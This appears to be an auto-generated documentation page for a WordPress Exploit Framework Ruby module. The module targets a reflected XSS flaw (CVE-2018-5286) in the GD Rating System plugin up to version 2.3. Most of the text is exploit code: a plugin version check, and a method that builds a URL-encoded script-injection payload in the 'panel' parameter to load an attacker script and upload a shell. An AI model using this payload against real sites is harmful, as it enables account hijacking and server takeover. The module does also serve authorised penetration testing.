class Wpxf::Exploit::GdRatingSystemReflectedXssShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::ReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/gd_rating_system_xss_shell_upload.rb, line 6
def initialize
  super

  update_info(
    name: 'GD Rating System <= 2.3 Reflected XSS Shell Upload',
    author: [
      'd4wner',   # Dislosure
      'rastating' # WPXF module
    ],
    references: [
      ['CVE', '2018-5286'],
      ['WPVDB', '8995']
    ],
    date: 'Jan 08 2018'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/gd_rating_system_xss_shell_upload.rb, line 23
def check
  check_plugin_version_from_changelog('gd-rating-system', 'readme.txt', '2.4')
end
url_with_xss() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/gd_rating_system_xss_shell_upload.rb, line 31
def url_with_xss
  "#{wordpress_url_admin_options}?page=gd-rating-system-information&panel=#{xss_payload}"
end
xss_payload() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/gd_rating_system_xss_shell_upload.rb, line 27
def xss_payload
  url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><!--")
end